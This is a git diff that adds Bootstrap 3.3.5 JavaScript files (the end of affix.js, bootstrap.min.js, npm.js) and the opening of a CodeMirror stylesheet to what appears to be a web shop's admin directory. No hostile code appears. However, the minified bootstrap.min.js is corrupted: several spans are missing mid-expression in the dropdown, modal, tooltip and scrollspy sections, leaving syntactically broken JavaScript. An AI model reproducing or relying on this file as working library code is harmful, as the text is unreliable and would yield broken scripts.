+ if (offsetTop != null && colliderTop <= offsetTop) return 'top'
+ if (offsetBottom != null && (colliderTop + colliderHeight >= scrollHeight - offsetBottom)) return 'bottom'
+
+ return false
+ }
+
+ Affix.prototype.getPinnedOffset = function () {
+ if (this.pinnedOffset) return this.pinnedOffset
+ this.$element.removeClass(Affix.RESET).addClass('affix')
+ var scrollTop = this.$target.scrollTop()
+ var position = this.$element.offset()
+ return (this.pinnedOffset = position.top - scrollTop)
+ }
+
+ Affix.prototype.checkPositionWithEventLoop = function () {
+ setTimeout($.proxy(this.checkPosition, this), 1)
+ }
+
+ Affix.prototype.checkPosition = function () {
+ if (!this.$element.is(':visible')) return
+
+ var height = this.$element.height()
+ var offset = this.options.offset
+ var offsetTop = offset.top
+ var offsetBottom = offset.bottom
+ var scrollHeight = $('body').height()
+
+ if (typeof offset != 'object') offsetBottom = offsetTop = offset
+ if (typeof offsetTop == 'function') offsetTop = offset.top(this.$element)
+ if (typeof offsetBottom == 'function') offsetBottom = offset.bottom(this.$element)
+
+ var affix = this.getState(scrollHeight, height, offsetTop, offsetBottom)
+
+ if (this.affixed != affix) {
+ if (this.unpin != null) this.$element.css('top', '')
+
+ var affixType = 'affix' + (affix ? '-' + affix : '')
+ var e = $.Event(affixType + '.bs.affix')
+
+ this.$element.trigger(e)
+
+ if (e.isDefaultPrevented()) return
+
+ this.affixed = affix
+ this.unpin = affix == 'bottom' ? this.getPinnedOffset() : null
+
+ this.$element
+ .removeClass(Affix.RESET)
+ .addClass(affixType)
+ .trigger(affixType.replace('affix', 'affixed') + '.bs.affix')
+ }
+
+ if (affix == 'bottom') {
+ this.$element.offset({
+ top: scrollHeight - height - offsetBottom
+ })
+ }
+ }
+
+
+ // AFFIX PLUGIN DEFINITION
+ // =======================
+
+ function Plugin(option) {
+ return this.each(function () {
+ var $this = $(this)
+ var data = $this.data('bs.affix')
+ var options = typeof option == 'object' && option
+
+ if (!data) $this.data('bs.affix', (data = new Affix(this, options)))
+ if (typeof option == 'string') data[option]()
+ })
+ }
+
+ var old = $.fn.affix
+
+ $.fn.affix = Plugin
+ $.fn.affix.Constructor = Affix
+
+
+ // AFFIX NO CONFLICT
+ // =================
+
+ $.fn.affix.noConflict = function () {
+ $.fn.affix = old
+ return this
+ }
+
+
+ // AFFIX DATA-API
+ // ==============
+
+ $(window).on('load', function () {
+ $('[data-spy="affix"]').each(function () {
+ var $spy = $(this)
+ var data = $spy.data()
+
+ data.offset = data.offset || {}
+
+ if (data.offsetBottom != null) data.offset.bottom = data.offsetBottom
+ if (data.offsetTop != null) data.offset.top = data.offsetTop
+
+ Plugin.call($spy, data)
+ })
+ })
+
+}(jQuery);
diff --git a/public/admin/view/javascript/bootstrap/js/bootstrap.min.js b/public/admin/view/javascript/bootstrap/js/bootstrap.min.js
new file mode 100644
index 0000000..133aeec
--- /dev/null
+++ b/public/admin/view/javascript/bootstrap/js/bootstrap.min.js
@@ -0,0 +1,7 @@
+/*!
+ * Bootstrap v3.3.5 (http://getbootstrap.com)
+ * Copyright 2011-2015 Twitter, Inc.
+ * Licensed under the MIT license
+ */
+if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery");+function(a){"use strict";var b=a.fn.jquery.split(" ")[0].split(".");if(b[0]<2&&b[1]<9||1==b[0]&&9==b[1]&&b[2]<1)throw new Error("Bootstrap's JavaScript requires jQuery version 1.9.1 or higher")}(jQuery),+function(a){"use strict";function b(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]};return!1}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one("bsTransitionEnd",function(){c=!0});var e=function(){c||a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(function(){a.support.transition=b(),a.support.transition&&(a.event.special.bsTransitionEnd={bindType:a.support.transition.end,delegateType:a.support.transition.end,handle:function(b){return a(b.target).is(this)?b.handleObj.handler.apply(this,arguments):void 0}})})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var c=a(this),e=c.data("bs.alert");e||c.data("bs.alert",e=new d(this)),"string"==typeof b&&e[b].call(c)})}var c='[data-dismiss="alert"]',d=function(b){a(b).on("click",c,this.close)};d.VERSION="3.3.5",d.TRANSITION_DURATION=150,d.prototype.close=function(b){function c(){g.detach().trigger("closed.bs.alert").remove()}var e=a(this),f=e.attr("data-target");f||(f=e.attr("href"),f=f&&f.replace(/.*(?=#[^\s]*$)/,""));var g=a(f);b&&b.preventDefault(),g.length||(g=e.closest(".alert")),g.trigger(b=a.Event("close.bs.alert")),b.isDefaultPrevented()||(g.removeClass("in"),a.support.transition&&g.hasClass("fade")?g.one("bsTransitionEnd",c).emulateTransitionEnd(d.TRANSITION_DURATION):c())};var e=a.fn.alert;a.fn.alert=b,a.fn.alert.Constructor=d,a.fn.alert.noConflict=function(){return a.fn.alert=e,this},a(document).on("click.bs.alert.data-api",c,d.prototype.close)}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.button"),f="object"==typeof b&&b;e||d.data("bs.button",e=new c(this,f)),"toggle"==b?e.toggle():b&&e.setState(b)})}var c=function(b,d){this.$element=a(b),this.options=a.extend({},c.DEFAULTS,d),this.isLoading=!1};c.VERSION="3.3.5",c.DEFAULTS={loadingText:"loading..."},c.prototype.setState=function(b){var c="disabled",d=this.$element,e=d.is("input")?"val":"html",f=d.data();b+="Text",null==f.resetText&&d.data("resetText",d[e]()),setTimeout(a.proxy(function(){d[e](null==f[b]?this.options[b]:f[b]),"loadingText"==b?(this.isLoading=!0,d.addClass(c).attr(c,c)):this.isLoading&&(this.isLoading=!1,d.removeClass(c).removeAttr(c))},this),0)},c.prototype.toggle=function(){var a=!0,b=this.$element.closest('[data-toggle="buttons"]');if(b.length){var c=this.$element.find("input");"radio"==c.prop("type")?(c.prop("checked")&&(a=!1),b.find(".active").removeClass("active"),this.$element.addClass("active")):"checkbox"==c.prop("type")&&(c.prop("checked")!==this.$element.hasClass("active")&&(a=!1),this.$element.toggleClass("active")),c.prop("checked",this.$element.hasClass("active")),a&&c.trigger("change")}else this.$element.attr("aria-pressed",!this.$element.hasClass("active")),this.$element.toggleClass("active")};var d=a.fn.button;a.fn.button=b,a.fn.button.Constructor=c,a.fn.button.noConflict=function(){return a.fn.button=d,this},a(document).on("click.bs.button.data-api",'[data-toggle^="button"]',function(c){var d=a(c.target);d.hasClass("btn")||(d=d.closest(".btn")),b.call(d,"toggle"),a(c.target).is('input[type="radio"]')||a(c.target).is('input[type="checkbox"]')||c.preventDefault()}).on("focus.bs.button.data-api blur.bs.button.data-api",'[data-toggle^="button"]',function(b){a(b.target).closest(".btn").toggleClass("focus",/^focus(in)?$/.test(b.type))})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.carousel"),f=a.extend({},c.DEFAULTS,d.data(),"object"==typeof b&&b),g="string"==typeof b?b:f.slide;e||d.data("bs.carousel",e=new c(this,f)),"number"==typeof b?e.to(b):g?e[g]():f.interval&&e.pause().cycle()})}var c=function(b,c){this.$element=a(b),this.$indicators=this.$element.find(".carousel-indicators"),this.options=c,this.paused=null,this.sliding=null,this.interval=null,this.$active=null,this.$items=null,this.options.keyboard&&this.$element.on("keydown.bs.carousel",a.proxy(this.keydown,this)),"hover"==this.options.pause&&!("ontouchstart"in document.documentElement)&&this.$element.on("mouseenter.bs.carousel",a.proxy(this.pause,this)).on("mouseleave.bs.carousel",a.proxy(this.cycle,this))};c.VERSION="3.3.5",c.TRANSITION_DURATION=600,c.DEFAULTS={interval:5e3,pause:"hover",wrap:!0,keyboard:!0},c.prototype.keydown=function(a){if(!/input|textarea/i.test(a.target.tagName)){switch(a.which){case 37:this.prev();break;case 39:this.next();break;default:return}a.preventDefault()}},c.prototype.cycle=function(b){return b||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(a.proxy(this.next,this),this.options.interval)),this},c.prototype.getItemIndex=function(a){return this.$items=a.parent().children(".item"),this.$items.index(a||this.$active)},c.prototype.getItemForDirection=function(a,b){var c=this.getItemIndex(b),d="prev"==a&&0===c||"next"==a&&c==this.$items.length-1;if(d&&!this.options.wrap)return b;var e="prev"==a?-1:1,f=(c+e)%this.$items.length;return this.$items.eq(f)},c.prototype.to=function(a){var b=this,c=this.getItemIndex(this.$active=this.$element.find(".item.active"));return a>this.$items.length-1||0>a?void 0:this.sliding?this.$element.one("slid.bs.carousel",function(){b.to(a)}):c==a?this.pause().cycle():this.slide(a>c?"next":"prev",this.$items.eq(a))},c.prototype.pause=function(b){return b||(this.paused=!0),this.$element.find(".next, .prev").length&&a.support.transition&&(this.$element.trigger(a.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},c.prototype.next=function(){return this.sliding?void 0:this.slide("next")},c.prototype.prev=function(){return this.sliding?void 0:this.slide("prev")},c.prototype.slide=function(b,d){var e=this.$element.find(".item.active"),f=d||this.getItemForDirection(b,e),g=this.interval,h="next"==b?"left":"right",i=this;if(f.hasClass("active"))return this.sliding=!1;var j=f[0],k=a.Event("slide.bs.carousel",{relatedTarget:j,direction:h});if(this.$element.trigger(k),!k.isDefaultPrevented()){if(this.sliding=!0,g&&this.pause(),this.$indicators.length){this.$indicators.find(".active").removeClass("active");var l=a(this.$indicators.children()[this.getItemIndex(f)]);l&&l.addClass("active")}var m=a.Event("slid.bs.carousel",{relatedTarget:j,direction:h});return a.support.transition&&this.$element.hasClass("slide")?(f.addClass(b),f[0].offsetWidth,e.addClass(h),f.addClass(h),e.one("bsTransitionEnd",function(){f.removeClass([b,h].join(" ")).addClass("active"),e.removeClass(["active",h].join(" ")),i.sliding=!1,setTimeout(function(){i.$element.trigger(m)},0)}).emulateTransitionEnd(c.TRANSITION_DURATION)):(e.removeClass("active"),f.addClass("active"),this.sliding=!1,this.$element.trigger(m)),g&&this.cycle(),this}};var d=a.fn.carousel;a.fn.carousel=b,a.fn.carousel.Constructor=c,a.fn.carousel.noConflict=function(){return a.fn.carousel=d,this};var e=function(c){var d,e=a(this),f=a(e.attr("data-target")||(d=e.attr("href"))&&d.replace(/.*(?=#[^\s]+$)/,""));if(f.hasClass("carousel")){var g=a.extend({},f.data(),e.data()),h=e.attr("data-slide-to");h&&(g.interval=!1),b.call(f,g),h&&f.data("bs.carousel").to(h),c.preventDefault()}};a(document).on("click.bs.carousel.data-api","[data-slide]",e).on("click.bs.carousel.data-api","[data-slide-to]",e),a(window).on("load",function(){a('[data-ride="carousel"]').each(function(){var c=a(this);b.call(c,c.data())})})}(jQuery),+function(a){"use strict";function b(b){var c,d=b.attr("data-target")||(c=b.attr("href"))&&c.replace(/.*(?=#[^\s]+$)/,"");return a(d)}function c(b){return this.each(function(){var c=a(this),e=c.data("bs.collapse"),f=a.extend({},d.DEFAULTS,c.data(),"object"==typeof b&&b);!e&&f.toggle&&/show|hide/.test(b)&&(f.toggle=!1),e||c.data("bs.collapse",e=new d(this,f)),"string"==typeof b&&e[b]()})}var d=function(b,c){this.$element=a(b),this.options=a.extend({},d.DEFAULTS,c),this.$trigger=a('[data-toggle="collapse"][href="#'+b.id+'"],[data-toggle="collapse"][data-target="#'+b.id+'"]'),this.transitioning=null,this.options.parent?this.$parent=this.getParent():this.addAriaAndCollapsedClass(this.$element,this.$trigger),this.options.toggle&&this.toggle()};d.VERSION="3.3.5",d.TRANSITION_DURATION=350,d.DEFAULTS={toggle:!0},d.prototype.dimension=function(){var a=this.$element.hasClass("width");return a?"width":"height"},d.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var b,e=this.$parent&&this.$parent.children(".panel").children(".in, .collapsing");if(!(e&&e.length&&(b=e.data("bs.collapse"),b&&b.transitioning))){var f=a.Event("show.bs.collapse");if(this.$element.trigger(f),!f.isDefaultPrevented()){e&&e.length&&(c.call(e,"hide"),b||e.data("bs.collapse",null));var g=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[g](0).attr("aria-expanded",!0),this.$trigger.removeClass("collapsed").attr("aria-expanded",!0),this.transitioning=1;var h=function(){this.$element.removeClass("collapsing").addClass("collapse in")[g](""),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!a.support.transition)return h.call(this);var i=a.camelCase(["scroll",g].join("-"));this.$element.one("bsTransitionEnd",a.proxy(h,this)).emulateTransitionEnd(d.TRANSITION_DURATION)[g](this.$element[0][i])}}}},d.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var b=a.Event("hide.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.dimension();this.$element[c](this.$element[c]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse in").attr("aria-expanded",!1),this.$trigger.addClass("collapsed").attr("aria-expanded",!1),this.transitioning=1;var e=function(){this.transitioning=0,this.$element.removeClass("collapsing").addClass("collapse").trigger("hidden.bs.collapse")};return a.support.transition?void this.$element[c](0).one("bsTransitionEnd",a.proxy(e,this)).emulateTransitionEnd(d.TRANSITION_DURATION):e.call(this)}}},d.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()},d.prototype.getParent=function(){return a(this.options.parent).find('[data-toggle="collapse"][data-parent="'+this.options.parent+'"]').each(a.proxy(function(c,d){var e=a(d);this.addAriaAndCollapsedClass(b(e),e)},this)).end()},d.prototype.addAriaAndCollapsedClass=function(a,b){var c=a.hasClass("in");a.attr("aria-expanded",c),b.toggleClass("collapsed",!c).attr("aria-expanded",c)};var e=a.fn.collapse;a.fn.collapse=c,a.fn.collapse.Constructor=d,a.fn.collapse.noConflict=function(){return a.fn.collapse=e,this},a(document).on("click.bs.collapse.data-api",'[data-toggle="collapse"]',function(d){var e=a(this);e.attr("data-target")||d.preventDefault();var f=b(e),g=f.data("bs.collapse"),h=g?"toggle":e.data();c.call(f,h)})}(jQuery),+function(a){"use strict";function b(b){var c=b.attr("data-target");c||(c=b.attr("href"),c=c&&/#[A-Za-z]/.test(c)&&c.replace(/.*(?=#[^\s]*$)/,""));var d=c&&a(c);return d&&d.length?d:b.parent()}function c(c){c&&3===c.which||(a(e).remove(),a(f).each(function(){var d=a(this),e=b(d),f={relatedTarget:this};e.hasClass("open")&&(c&&"click"==c.type&&/input|textarea/i.test(c.target.tagName)&&a.contains(e[0],c.target)||(e.trigger(c=a.Event("hide.bs.dropdown",f)),c.isDefaultPrevented()||(d.attr("aria-expanded","false"),e.removeClass("open").trigger("hidden.bs.dropdown",f))))}))}function d(b){return this.each(function(){var c=a(this),d=c.data("bs.dropdown");d||c.data("bs.dropdown",d=new g(this)),"string"==typeof b&&d[b].call(c)})}var e=".dropdown-backdrop",f='[data-toggle="dropdown"]',g=function(b){a(b).on("click.bs.dropdown",this.toggle)};g.VERSION="3.3.5",g.prototype.toggle=function(d){var e=a(this);if(!e.is(".disabled, :disabled")){var f=b(e),g=f.hasClass("open");if(c(),!g){"ontouchstart"in document.documentElement&&!f.closest(".navbar-nav").length&&a(document.createElement("div")).addClass("dropdown-backdrop").insertAfter(a(this)).on("click",c);var h={relatedTarget:this};if(f.trigger(d=a.Event("show.bs.dropdown",h)),d.isDefaultPrevented())return;e.trigger("focus").attr("aria-expanded","true"),f.toggleClass("open").trigger("shown.bs.dropdown",h)}return!1}},g.prototype.keydown=function(c){if(/(38|40|27|32)/.test(c.which)&&!/input|textarea/i.test(c.target.tagName)){var d=a(this);if(c.preventDefault(),c.stopPropagation(),!d.is(".disabled, :disabled")){var e=b(d),g=e.hasClass("open");if(!g&&27!=c.which||g&&27==c.which)return 27==c.which&&e.find(f).trigger("focus"),d.trigger("click");var h=" li:not(.disabled):visible a",i=e.find(".dropdown-menu"+h);if(i.length){var j=i.index(c.target);38==c.which&&j>0&&j--,40==c.which&&j
document.documentElement.clientHeight;this.$element.css({paddingLeft:!this.bodyIsOverflowing&&a?this.scrollbarWidth:"",paddingRight:this.bodyIsOverflowing&&!a?this.scrollbarWidth:""})},c.prototype.resetAdjustments=function(){this.$element.css({paddingLeft:"",paddingRight:""})},c.prototype.checkScrollbar=function(){var a=window.innerWidth;if(!a){var b=document.documentElement.getBoundingClientRect();a=b.right-Math.abs(b.left)}this.bodyIsOverflowing=document.body.clientWidth
',trigger:"hover focus",title:"",delay:0,html:!1,container:!1,viewport:{selector:"body",padding:0}},c.prototype.init=function(b,c,d){if(this.enabled=!0,this.type=b,this.$element=a(c),this.options=this.getOptions(d),this.$viewport=this.options.viewport&&a(a.isFunction(this.options.viewport)?this.options.viewport.call(this,this.$element):this.options.viewport.selector||this.options.viewport),this.inState={click:!1,hover:!1,focus:!1},this.$element[0]instanceof document.constructor&&!this.options.selector)throw new Error("`selector` option must be specified when initializing "+this.type+" on the window.document object!");for(var e=this.options.trigger.split(" "),f=e.length;f--;){var g=e[f];if("click"==g)this.$element.on("click."+this.type,this.options.selector,a.proxy(this.toggle,this));else if("manual"!=g){var h="hover"==g?"mouseenter":"focusin",i="hover"==g?"mouseleave":"focusout";this.$element.on(h+"."+this.type,this.options.selector,a.proxy(this.enter,this)),this.$element.on(i+"."+this.type,this.options.selector,a.proxy(this.leave,this))}}this.options.selector?this._options=a.extend({},this.options,{trigger:"manual",selector:""}):this.fixTitle()},c.prototype.getDefaults=function(){return c.DEFAULTS},c.prototype.getOptions=function(b){return b=a.extend({},this.getDefaults(),this.$element.data(),b),b.delay&&"number"==typeof b.delay&&(b.delay={show:b.delay,hide:b.delay}),b},c.prototype.getDelegateOptions=function(){var b={},c=this.getDefaults();return this._options&&a.each(this._options,function(a,d){c[a]!=d&&(b[a]=d)}),b},c.prototype.enter=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget).data("bs."+this.type);return c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c)),b instanceof a.Event&&(c.inState["focusin"==b.type?"focus":"hover"]=!0),c.tip().hasClass("in")||"in"==c.hoverState?void(c.hoverState="in"):(clearTimeout(c.timeout),c.hoverState="in",c.options.delay&&c.options.delay.show?void(c.timeout=setTimeout(function(){"in"==c.hoverState&&c.show()},c.options.delay.show)):c.show())},c.prototype.isInStateTrue=function(){for(var a in this.inState)if(this.inState[a])return!0;return!1},c.prototype.leave=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget).data("bs."+this.type);return c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c)),b instanceof a.Event&&(c.inState["focusout"==b.type?"focus":"hover"]=!1),c.isInStateTrue()?void 0:(clearTimeout(c.timeout),c.hoverState="out",c.options.delay&&c.options.delay.hide?void(c.timeout=setTimeout(function(){"out"==c.hoverState&&c.hide()},c.options.delay.hide)):c.hide())},c.prototype.show=function(){var b=a.Event("show.bs."+this.type);if(this.hasContent()&&this.enabled){this.$element.trigger(b);var d=a.contains(this.$element[0].ownerDocument.documentElement,this.$element[0]);if(b.isDefaultPrevented()||!d)return;var e=this,f=this.tip(),g=this.getUID(this.type);this.setContent(),f.attr("id",g),this.$element.attr("aria-describedby",g),this.options.animation&&f.addClass("fade");var h="function"==typeof this.options.placement?this.options.placement.call(this,f[0],this.$element[0]):this.options.placement,i=/\s?auto?\s?/i,j=i.test(h);j&&(h=h.replace(i,"")||"top"),f.detach().css({top:0,left:0,display:"block"}).addClass(h).data("bs."+this.type,this),this.options.container?f.appendTo(this.options.container):f.insertAfter(this.$element),this.$element.trigger("inserted.bs."+this.type);var k=this.getPosition(),l=f[0].offsetWidth,m=f[0].offsetHeight;if(j){var n=h,o=this.getPosition(this.$viewport);h="bottom"==h&&k.bottom+m>o.bottom?"top":"top"==h&&k.top-mo.width?"left":"left"==h&&k.left-lg.top+g.height&&(e.top=g.top+g.height-i)}else{var j=b.left-f,k=b.left+f+c;jg.right&&(e.left=g.left+g.width-k)}return e},c.prototype.getTitle=function(){var a,b=this.$element,c=this.options;return a=b.attr("data-original-title")||("function"==typeof c.title?c.title.call(b[0]):c.title)},c.prototype.getUID=function(a){do a+=~~(1e6*Math.random());while(document.getElementById(a));return a},c.prototype.tip=function(){if(!this.$tip&&(this.$tip=a(this.options.template),1!=this.$tip.length))throw new Error(this.type+" `template` option must consist of exactly 1 top-level element!");return this.$tip},c.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".tooltip-arrow")},c.prototype.enable=function(){this.enabled=!0},c.prototype.disable=function(){this.enabled=!1},c.prototype.toggleEnabled=function(){this.enabled=!this.enabled},c.prototype.toggle=function(b){var c=this;b&&(c=a(b.currentTarget).data("bs."+this.type),c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c))),b?(c.inState.click=!c.inState.click,c.isInStateTrue()?c.enter(c):c.leave(c)):c.tip().hasClass("in")?c.leave(c):c.enter(c)},c.prototype.destroy=function(){var a=this;clearTimeout(this.timeout),this.hide(function(){a.$element.off("."+a.type).removeData("bs."+a.type),a.$tip&&a.$tip.detach(),a.$tip=null,a.$arrow=null,a.$viewport=null})};var d=a.fn.tooltip;a.fn.tooltip=b,a.fn.tooltip.Constructor=c,a.fn.tooltip.noConflict=function(){return a.fn.tooltip=d,this}}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.popover"),f="object"==typeof b&&b;(e||!/destroy|hide/.test(b))&&(e||d.data("bs.popover",e=new c(this,f)),"string"==typeof b&&e[b]())})}var c=function(a,b){this.init("popover",a,b)};if(!a.fn.tooltip)throw new Error("Popover requires tooltip.js");c.VERSION="3.3.5",c.DEFAULTS=a.extend({},a.fn.tooltip.Constructor.DEFAULTS,{placement:"right",trigger:"click",content:"",template:''}),c.prototype=a.extend({},a.fn.tooltip.Constructor.prototype),c.prototype.constructor=c,c.prototype.getDefaults=function(){return c.DEFAULTS},c.prototype.setContent=function(){var a=this.tip(),b=this.getTitle(),c=this.getContent();a.find(".popover-title")[this.options.html?"html":"text"](b),a.find(".popover-content").children().detach().end()[this.options.html?"string"==typeof c?"html":"append":"text"](c),a.removeClass("fade top bottom left right in"),a.find(".popover-title").html()||a.find(".popover-title").hide()},c.prototype.hasContent=function(){return this.getTitle()||this.getContent()},c.prototype.getContent=function(){var a=this.$element,b=this.options;return a.attr("data-content")||("function"==typeof b.content?b.content.call(a[0]):b.content)},c.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")};var d=a.fn.popover;a.fn.popover=b,a.fn.popover.Constructor=c,a.fn.popover.noConflict=function(){return a.fn.popover=d,this}}(jQuery),+function(a){"use strict";function b(c,d){this.$body=a(document.body),this.$scrollElement=a(a(c).is(document.body)?window:c),this.options=a.extend({},b.DEFAULTS,d),this.selector=(this.options.target||"")+" .nav li > a",this.offsets=[],this.targets=[],this.activeTarget=null,this.scrollHeight=0,this.$scrollElement.on("scroll.bs.scrollspy",a.proxy(this.process,this)),this.refresh(),this.process()}function c(c){return this.each(function(){var d=a(this),e=d.data("bs.scrollspy"),f="object"==typeof c&&c;e||d.data("bs.scrollspy",e=new b(this,f)),"string"==typeof c&&e[c]()})}b.VERSION="3.3.5",b.DEFAULTS={offset:10},b.prototype.getScrollHeight=function(){return this.$scrollElement[0].scrollHeight||Math.max(this.$body[0].scrollHeight,document.documentElement.scrollHeight)},b.prototype.refresh=function(){var b=this,c="offset",d=0;this.offsets=[],this.targets=[],this.scrollHeight=this.getScrollHeight(),a.isWindow(this.$scrollElement[0])||(c="position",d=this.$scrollElement.scrollTop()),this.$body.find(this.selector).map(function(){var b=a(this),e=b.data("target")||b.attr("href"),f=/^#./.test(e)&&a(e);return f&&f.length&&f.is(":visible")&&[[f[c]().top+d,e]]||null}).sort(function(a,b){return a[0]-b[0]}).each(function(){b.offsets.push(this[0]),b.targets.push(this[1])})},b.prototype.process=function(){var a,b=this.$scrollElement.scrollTop()+this.options.offset,c=this.getScrollHeight(),d=this.options.offset+c-this.$scrollElement.height(),e=this.offsets,f=this.targets,g=this.activeTarget;if(this.scrollHeight!=c&&this.refresh(),b>=d)return g!=(a=f[f.length-1])&&this.activate(a);if(g&&b=e[a]&&(void 0===e[a+1]||b .dropdown-menu > .active").removeClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!1),b.addClass("active").find('[data-toggle="tab"]').attr("aria-expanded",!0),h?(b[0].offsetWidth,b.addClass("in")):b.removeClass("fade"),b.parent(".dropdown-menu").length&&b.closest("li.dropdown").addClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!0),e&&e()}var g=d.find("> .active"),h=e&&a.support.transition&&(g.length&&g.hasClass("fade")||!!d.find("> .fade").length);g.length&&h?g.one("bsTransitionEnd",f).emulateTransitionEnd(c.TRANSITION_DURATION):f(),g.removeClass("in")};var d=a.fn.tab;a.fn.tab=b,a.fn.tab.Constructor=c,a.fn.tab.noConflict=function(){return a.fn.tab=d,this};var e=function(c){c.preventDefault(),b.call(a(this),"show")};a(document).on("click.bs.tab.data-api",'[data-toggle="tab"]',e).on("click.bs.tab.data-api",'[data-toggle="pill"]',e)}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.affix"),f="object"==typeof b&&b;e||d.data("bs.affix",e=new c(this,f)),"string"==typeof b&&e[b]()})}var c=function(b,d){this.options=a.extend({},c.DEFAULTS,d),this.$target=a(this.options.target).on("scroll.bs.affix.data-api",a.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",a.proxy(this.checkPositionWithEventLoop,this)),this.$element=a(b),this.affixed=null,this.unpin=null,this.pinnedOffset=null,this.checkPosition()};c.VERSION="3.3.5",c.RESET="affix affix-top affix-bottom",c.DEFAULTS={offset:0,target:window},c.prototype.getState=function(a,b,c,d){var e=this.$target.scrollTop(),f=this.$element.offset(),g=this.$target.height();if(null!=c&&"top"==this.affixed)return c>e?"top":!1;if("bottom"==this.affixed)return null!=c?e+this.unpin<=f.top?!1:"bottom":a-d>=e+g?!1:"bottom";var h=null==this.affixed,i=h?e:f.top,j=h?g:b;return null!=c&&c>=e?"top":null!=d&&i+j>=a-d?"bottom":!1},c.prototype.getPinnedOffset=function(){if(this.pinnedOffset)return this.pinnedOffset;this.$element.removeClass(c.RESET).addClass("affix");var a=this.$target.scrollTop(),b=this.$element.offset();return this.pinnedOffset=b.top-a},c.prototype.checkPositionWithEventLoop=function(){setTimeout(a.proxy(this.checkPosition,this),1)},c.prototype.checkPosition=function(){if(this.$element.is(":visible")){var b=this.$element.height(),d=this.options.offset,e=d.top,f=d.bottom,g=Math.max(a(document).height(),a(document.body).height());"object"!=typeof d&&(f=e=d),"function"==typeof e&&(e=d.top(this.$element)),"function"==typeof f&&(f=d.bottom(this.$element));var h=this.getState(g,b,e,f);if(this.affixed!=h){null!=this.unpin&&this.$element.css("top","");var i="affix"+(h?"-"+h:""),j=a.Event(i+".bs.affix");if(this.$element.trigger(j),j.isDefaultPrevented())return;this.affixed=h,this.unpin="bottom"==h?this.getPinnedOffset():null,this.$element.removeClass(c.RESET).addClass(i).trigger(i.replace("affix","affixed")+".bs.affix")}"bottom"==h&&this.$element.offset({top:g-b-f})}};var d=a.fn.affix;a.fn.affix=b,a.fn.affix.Constructor=c,a.fn.affix.noConflict=function(){return a.fn.affix=d,this},a(window).on("load",function(){a('[data-spy="affix"]').each(function(){var c=a(this),d=c.data();d.offset=d.offset||{},null!=d.offsetBottom&&(d.offset.bottom=d.offsetBottom),null!=d.offsetTop&&(d.offset.top=d.offsetTop),b.call(c,d)})})}(jQuery);
\ No newline at end of file
diff --git a/public/admin/view/javascript/bootstrap/js/npm.js b/public/admin/view/javascript/bootstrap/js/npm.js
new file mode 100644
index 0000000..bf6aa80
--- /dev/null
+++ b/public/admin/view/javascript/bootstrap/js/npm.js
@@ -0,0 +1,13 @@
+// This file is autogenerated via the `commonjs` Grunt task. You can require() this file in a CommonJS environment.
+require('../../js/transition.js')
+require('../../js/alert.js')
+require('../../js/button.js')
+require('../../js/carousel.js')
+require('../../js/collapse.js')
+require('../../js/dropdown.js')
+require('../../js/modal.js')
+require('../../js/tooltip.js')
+require('../../js/popover.js')
+require('../../js/scrollspy.js')
+require('../../js/tab.js')
+require('../../js/affix.js')
\ No newline at end of file
diff --git a/public/admin/view/javascript/codemirror-dle/css/default.css b/public/admin/view/javascript/codemirror-dle/css/default.css
new file mode 100644
index 0000000..048bbc0
--- /dev/null
+++ b/public/admin/view/javascript/codemirror-dle/css/default.css
@@ -0,0 +1,403 @@
+/* BASICS */
+
+.CodeMirror {
+ /* Set height, width, borders, and global font properties here */
+ font-family: Menlo, Monaco, Consolas, "Courier New", monospace;
+ font-size: 12px;
+ line-height:normal;
+ height: 100%;
+}
+
+/* PADDING */
+
+.CodeMirror-lines {
+ padding: 4px 0; /* Vertical padding around content */
+}
+.CodeMirror pre {
+ padding: 0 4px; /* Horizontal padding of content */
+}
+
+.CodeMirror-scrollbar-filler, .CodeMirror-gutter-filler {
+ background-color: white; /* The little square between H and V scrollbars */
+}
+
+/* GUTTER */
+
+.CodeMirror-gutters {
+ border-right: 1px solid #ddd;
+ background-color: #f7f7f7;
+ white-space: nowrap;
+}
+.CodeMirror-linenumbers {}
+.CodeMirror-linenumber {
+ padding: 0 3px 0 5px;
+ min-width: 20px;
+ text-align: right;
+ color: #999;
+ -moz-box-sizing: content-box;
+ box-sizing: content-box;
+}
+
+.CodeMirror-guttermarker { color: black; }
+.CodeMirror-guttermarker-subtle { color: #999; }
+
+/* CURSOR */
+
+.CodeMirror div.CodeMirror-cursor {
+ border-left: 1px solid black;
+}
+/* Shown when moving in bi-directional text */
+.CodeMirror div.CodeMirror-secondarycursor {
